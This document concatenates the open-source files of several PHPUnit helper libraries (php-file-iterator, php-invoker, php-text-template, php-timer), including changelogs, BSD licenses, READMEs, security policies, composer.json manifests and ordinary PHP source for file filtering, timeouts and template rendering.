[1.4.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.3...1.4.4 [1.4.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.2...1.4.3 [1.4.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.1...1.4.2 [1.4.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.0...1.4.1 BSD 3-Clause License Copyright (c) 2009-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/phpunit/php-file-iterator/v/stable.png)](https://packagist.org/packages/phpunit/php-file-iterator) [![CI Status](https://github.com/sebastianbergmann/php-file-iterator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-file-iterator/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-file-iterator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-file-iterator) [![codecov](https://codecov.io/gh/sebastianbergmann/php-file-iterator/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/php-file-iterator) # php-file-iterator ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phpunit/php-file-iterator If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phpunit/php-file-iterator # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "phpunit/php-file-iterator", "description": "FilterIterator implementation that filters files based on a list of suffixes.", "type": "library", "keywords": [ "iterator", "filesystem" ], "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "4.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use function assert; use function str_starts_with; use RecursiveDirectoryIterator; use RecursiveFilterIterator; use SplFileInfo; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-file-iterator */ final class ExcludeIterator extends RecursiveFilterIterator { /** * @psalm-var list */ private array $exclude; /** * @psalm-param list $exclude */ public function __construct(RecursiveDirectoryIterator $iterator, array $exclude) { parent::__construct($iterator); $this->exclude = $exclude; } public function accept(): bool { $current = $this->current(); assert($current instanceof SplFileInfo); $path = $current->getRealPath(); if ($path === false) { return false; } foreach ($this->exclude as $exclude) { if (str_starts_with($path, $exclude)) { return false; } } return true; } public function hasChildren(): bool { return $this->getInnerIterator()->hasChildren(); } public function getChildren(): self { return new self( $this->getInnerIterator()->getChildren(), $this->exclude ); } public function getInnerIterator(): RecursiveDirectoryIterator { $innerIterator = parent::getInnerIterator(); assert($innerIterator instanceof RecursiveDirectoryIterator); return $innerIterator; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use function array_unique; use function assert; use function sort; use SplFileInfo; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Facade { /** * @psalm-param list|non-empty-string $paths * @psalm-param list|string $suffixes * @psalm-param list|string $prefixes * @psalm-param list $exclude * * @psalm-return list */ public function getFilesAsArray(array|string $paths, array|string $suffixes = '', array|string $prefixes = '', array $exclude = []): array { $iterator = (new Factory)->getFileIterator($paths, $suffixes, $prefixes, $exclude); $files = []; foreach ($iterator as $file) { assert($file instanceof SplFileInfo); $file = $file->getRealPath(); if ($file) { $files[] = $file; } } $files = array_unique($files); sort($files); return $files; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use const GLOB_ONLYDIR; use function array_filter; use function array_map; use function array_merge; use function array_values; use function glob; use function is_dir; use function is_string; use function realpath; use AppendIterator; use FilesystemIterator; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-file-iterator */ final class Factory { /** * @psalm-param list|non-empty-string $paths * @psalm-param list|string $suffixes * @psalm-param list|string $prefixes * @psalm-param list $exclude */ public function getFileIterator(array|string $paths, array|string $suffixes = '', array|string $prefixes = '', array $exclude = []): AppendIterator { if (is_string($paths)) { $paths = [$paths]; } $paths = $this->resolveWildcards($paths); $exclude = $this->resolveWildcards($exclude); if (is_string($prefixes)) { if ($prefixes !== '') { $prefixes = [$prefixes]; } else { $prefixes = []; } } if (is_string($suffixes)) { if ($suffixes !== '') { $suffixes = [$suffixes]; } else { $suffixes = []; } } $iterator = new AppendIterator; foreach ($paths as $path) { if (is_dir($path)) { $iterator->append( new Iterator( $path, new RecursiveIteratorIterator( new ExcludeIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::FOLLOW_SYMLINKS | FilesystemIterator::SKIP_DOTS), $exclude, ), ), $suffixes, $prefixes, ) ); } } return $iterator; } /** * @psalm-param list $paths * * @psalm-return list */ private function resolveWildcards(array $paths): array { $_paths = [[]]; foreach ($paths as $path) { if ($locals = glob($path, GLOB_ONLYDIR)) { $_paths[] = array_map('\realpath', $locals); } else { // @codeCoverageIgnoreStart $_paths[] = [realpath($path)]; // @codeCoverageIgnoreEnd } } return array_values(array_filter(array_merge(...$_paths))); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use function assert; use function preg_match; use function realpath; use function str_ends_with; use function str_replace; use function str_starts_with; use AppendIterator; use FilterIterator; use SplFileInfo; /** * @template-extends FilterIterator * * @internal This class is not covered by the backward compatibility promise for phpunit/php-file-iterator */ final class Iterator extends FilterIterator { public const PREFIX = 0; public const SUFFIX = 1; private string|false $basePath; /** * @psalm-var list */ private array $suffixes; /** * @psalm-var list */ private array $prefixes; /** * @psalm-param list $suffixes * @psalm-param list $prefixes */ public function __construct(string $basePath, \Iterator $iterator, array $suffixes = [], array $prefixes = []) { $this->basePath = realpath($basePath); $this->prefixes = $prefixes; $this->suffixes = $suffixes; parent::__construct($iterator); } public function accept(): bool { $current = $this->getInnerIterator()->current(); assert($current instanceof SplFileInfo); $filename = $current->getFilename(); $realPath = $current->getRealPath(); if ($realPath === false) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } return $this->acceptPath($realPath) && $this->acceptPrefix($filename) && $this->acceptSuffix($filename); } private function acceptPath(string $path): bool { // Filter files in hidden directories by checking path that is relative to the base path. if (preg_match('=/\.[^/]*/=', str_replace((string) $this->basePath, '', $path))) { return false; } return true; } private function acceptPrefix(string $filename): bool { return $this->acceptSubString($filename, $this->prefixes, self::PREFIX); } private function acceptSuffix(string $filename): bool { return $this->acceptSubString($filename, $this->suffixes, self::SUFFIX); } /** * @psalm-param list $subStrings */ private function acceptSubString(string $filename, array $subStrings, int $type): bool { if (empty($subStrings)) { return true; } foreach ($subStrings as $string) { if (($type === self::PREFIX && str_starts_with($filename, $string)) || ($type === self::SUFFIX && str_ends_with($filename, $string))) { return true; } } return false; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [4.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [3.1.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.1.0] - 2020-08-06 ### Changed * [#14](https://github.com/sebastianbergmann/php-invoker/pull/14): Clear alarm in `finally` block ## [3.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [3.0.0] - 2020-02-07 ### Added * Added `canInvokeWithTimeout()` method to check requirements for the functionality provided by this component to work ### Changed * Moved `"ext-pcntl": "*"` requirement from `require` to `suggest` so that this component can be installed even if `ext/pcntl` is not available * `invoke()` now raises an exception when the requirements for the functionality provided by this component to work are not met ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 [4.0.0]: https://github.com/sebastianbergmann/php-invoker/compare/3.1.1...4.0.0 [3.1.1]: https://github.com/sebastianbergmann/php-invoker/compare/3.1.0...3.1.1 [3.1.0]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.2...3.1.0 [3.0.2]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/php-invoker/compare/2.0.0...3.0.0 BSD 3-Clause License Copyright (c) 2011-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # phpunit/php-invoker [![Latest Stable Version](https://poser.pugx.org/phpunit/php-invoker/v/stable.png)](https://packagist.org/packages/phpunit/php-invoker) [![CI Status](https://github.com/sebastianbergmann/php-invoker/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-invoker/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-invoker/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-invoker) [![codecov](https://codecov.io/gh/sebastianbergmann/php-invoker/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/php-invoker) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require phpunit/php-invoker ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev phpunit/php-invoker ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "phpunit/php-invoker", "description": "Invoke callables with a timeout", "type": "library", "keywords": [ "process" ], "homepage": "https://github.com/sebastianbergmann/php-invoker/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-invoker/issues" }, "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1" }, "require-dev": { "ext-pcntl": "*", "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "suggest": { "ext-pcntl": "*" }, "extra": { "branch-alias": { "dev-main": "4.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use const SIGALRM; use function call_user_func_array; use function function_exists; use function pcntl_alarm; use function pcntl_async_signals; use function pcntl_signal; use function sprintf; use Throwable; final class Invoker { private int $timeout; /** * @throws Throwable */ public function invoke(callable $callable, array $arguments, int $timeout): mixed { if (!$this->canInvokeWithTimeout()) { throw new ProcessControlExtensionNotLoadedException( 'The pcntl (process control) extension for PHP is required' ); } pcntl_signal( SIGALRM, function (): void { throw new TimeoutException( sprintf( 'Execution aborted after %d second%s', $this->timeout, $this->timeout === 1 ? '' : 's' ) ); }, true ); $this->timeout = $timeout; pcntl_async_signals(true); pcntl_alarm($timeout); try { return call_user_func_array($callable, $arguments); } finally { pcntl_alarm(0); } } public function canInvokeWithTimeout(): bool { return function_exists('pcntl_signal') && function_exists('pcntl_async_signals') && function_exists('pcntl_alarm'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use RuntimeException; final class ProcessControlExtensionNotLoadedException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use RuntimeException; final class TimeoutException extends RuntimeException implements Exception { } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [3.0.1] - 2023-08-31 ### Changed * Warnings from `file_put_contents()` are now suppressed ## [3.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [2.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\Template\Exception` now correctly extends `\Throwable` ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [2.0.0] - 2020-02-07 ### Changed * The `Text_Template` class was renamed to `SebastianBergmann\Template\Template` ### Removed * Removed support for PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 [3.0.1]: https://github.com/sebastianbergmann/php-text-template/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.4...3.0.0 [2.0.4]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/php-text-template/compare/1.2.1...2.0.0 BSD 3-Clause License Copyright (c) 2009-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/phpunit/php-text-template/v/stable.png)](https://packagist.org/packages/phpunit/php-text-template) [![CI Status](https://github.com/sebastianbergmann/php-text-template/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-text-template/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-text-template/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-text-template) [![codecov](https://codecov.io/gh/sebastianbergmann/php-text-template/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/php-text-template) # php-text-template ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phpunit/php-text-template If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phpunit/php-text-template # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "phpunit/php-text-template", "description": "Simple template engine.", "type": "library", "keywords": [ "template" ], "homepage": "https://github.com/sebastianbergmann/php-text-template/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-text-template/issues", "security": "https://github.com/sebastianbergmann/php-text-template/security/policy" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "3.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use function array_keys; use function array_merge; use function file_get_contents; use function file_put_contents; use function is_file; use function sprintf; use function str_replace; final class Template { private string $template = ''; private string $openDelimiter; private string $closeDelimiter; /** * @psalm-var array */ private array $values = []; /** * @throws InvalidArgumentException */ public function __construct(string $file = '', string $openDelimiter = '{', string $closeDelimiter = '}') { $this->setFile($file); $this->openDelimiter = $openDelimiter; $this->closeDelimiter = $closeDelimiter; } /** * @throws InvalidArgumentException */ public function setFile(string $file): void { if (is_file($file)) { $this->template = file_get_contents($file); return; } $distFile = $file . '.dist'; if (is_file($distFile)) { $this->template = file_get_contents($distFile); return; } throw new InvalidArgumentException( sprintf( 'Failed to load template "%s"', $file ) ); } /** * @psalm-param array $values */ public function setVar(array $values, bool $merge = true): void { if (!$merge || empty($this->values)) { $this->values = $values; return; } $this->values = array_merge($this->values, $values); } public function render(): string { $keys = []; foreach (array_keys($this->values) as $key) { $keys[] = $this->openDelimiter . $key . $this->closeDelimiter; } return str_replace($keys, $this->values, $this->template); } /** * @codeCoverageIgnore */ public function renderTo(string $target): void { if (!@file_put_contents($target, $this->render())) { throw new RuntimeException( sprintf( 'Writing rendered result to "%s" failed', $target ) ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; final class InvalidArgumentException extends \InvalidArgumentException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use InvalidArgumentException; final class RuntimeException extends InvalidArgumentException implements Exception { } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [6.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [5.0.3] - 2020-10-26 ### Fixed * `SebastianBergmann\Timer\Exception` now correctly extends `\Throwable` ## [5.0.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.0.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [5.0.0] - 2020-06-07 ### Changed * Parameter type for `SebastianBergmann\Timer\Duration::fromMicroseconds()` was changed from `int` to `float` * Parameter type for `SebastianBergmann\Timer\Duration::fromNanoseconds()` was changed from `int` to `float` * Return type for `SebastianBergmann\Timer\Duration::asNanoseconds()` was changed from `int` to `float` ### Fixed * [#31](https://github.com/sebastianbergmann/php-timer/issues/31): Type Error on 32-bit systems (where `hrtime()` returns `float` instead of `int`) ## [4.0.0] - 2020-06-01 ### Added * Introduced `Duration` value object for encapsulating a duration with nanosecond granularity * Introduced `ResourceUsageFormatter` object for formatting resource usage with option to explicitly pass a duration (instead of looking at the unreliable `$_SERVER['REQUEST_TIME_FLOAT']` variable) ### Changed * The methods of `Timer` are no longer static * `Timer::stop()` now returns a `Duration` value object ### Removed * Functionality that is now implemented in `Duration` and `ResourceUsageFormatter` has been removed from `Timer` ## [3.1.4] - 2020-04-20 ### Changed * `Timer::timeSinceStartOfRequest()` no longer tries `$_SERVER['REQUEST_TIME']` when `$_SERVER['REQUEST_TIME_FLOAT']` is not available (`$_SERVER['REQUEST_TIME_FLOAT']` was added in PHP 5.4 and this library requires PHP 7.3) * Improved exception messages when `$_SERVER['REQUEST_TIME_FLOAT']` is not set or is not of type `float` ### Changed ## [3.1.3] - 2020-04-20 ### Changed * `Timer::timeSinceStartOfRequest()` now raises an exception if `$_SERVER['REQUEST_TIME_FLOAT']` does not contain a `float` (or `$_SERVER['REQUEST_TIME']` does not contain an `int`) ## [3.1.2] - 2020-04-17 ### Changed * Improved the fix for [#30](https://github.com/sebastianbergmann/php-timer/issues/30) and restored usage of `hrtime()` ## [3.1.1] - 2020-04-17 ### Fixed * [#30](https://github.com/sebastianbergmann/php-timer/issues/30): Resolution of time returned by `Timer::stop()` is different than before (this reverts using `hrtime()` instead of `microtime()`) ## [3.1.0] - 2020-04-17 ### Added * `Timer::secondsToShortTimeString()` as alternative to `Timer::secondsToTimeString()` ### Changed * `Timer::start()` and `Timer::stop()` now use `hrtime()` (high resolution monotonic timer) instead of `microtime()` * `Timer::timeSinceStartOfRequest()` now uses `Timer::secondsToShortTimeString()` for time formatting * Improved formatting of `Timer::secondsToTimeString()` result ## [3.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [2.1.2] - 2019-06-07 ### Fixed * [#21](https://github.com/sebastianbergmann/php-timer/pull/21): Formatting of memory consumption does not work on 32bit systems ## [2.1.1] - 2019-02-20 ### Changed * Improved formatting of memory consumption for `resourceUsage()` ## [2.1.0] - 2019-02-20 ### Changed * Improved formatting of memory consumption for `resourceUsage()` ## [2.0.0] - 2018-02-01 ### Changed * This component now uses namespaces ### Removed * This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 [6.0.0]: https://github.com/sebastianbergmann/php-timer/compare/5.0.3...6.0.0 [5.0.3]: https://github.com/sebastianbergmann/php-timer/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/php-timer/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/php-timer/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/php-timer/compare/4.0.0...5.0.0 [4.0.0]: https://github.com/sebastianbergmann/php-timer/compare/3.1.4...4.0.0 [3.1.4]: https://github.com/sebastianbergmann/php-timer/compare/3.1.3...3.1.4 [3.1.3]: https://github.com/sebastianbergmann/php-timer/compare/3.1.2...3.1.3 [3.1.2]: https://github.com/sebastianbergmann/php-timer/compare/3.1.1...3.1.2 [3.1.1]: https://github.com/sebastianbergmann/php-timer/compare/3.1.0...3.1.1 [3.1.0]: https://github.com/sebastianbergmann/php-timer/compare/3.0.0...3.1.0 [3.0.0]: https://github.com/sebastianbergmann/php-timer/compare/2.1.2...3.0.0 [2.1.2]: https://github.com/sebastianbergmann/php-timer/compare/2.1.1...2.1.2 [2.1.1]: https://github.com/sebastianbergmann/php-timer/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/php-timer/compare/2.0.0...2.1.0 [2.0.0]: https://github.com/sebastianbergmann/php-timer/compare/1.0.9...2.0.0 BSD 3-Clause License Copyright (c) 2010-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # phpunit/php-timer [![Latest Stable Version](https://poser.pugx.org/phpunit/php-timer/v/stable.png)](https://packagist.org/packages/phpunit/php-timer) [![CI Status](https://github.com/sebastianbergmann/php-timer/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-timer/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-timer/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-timer) 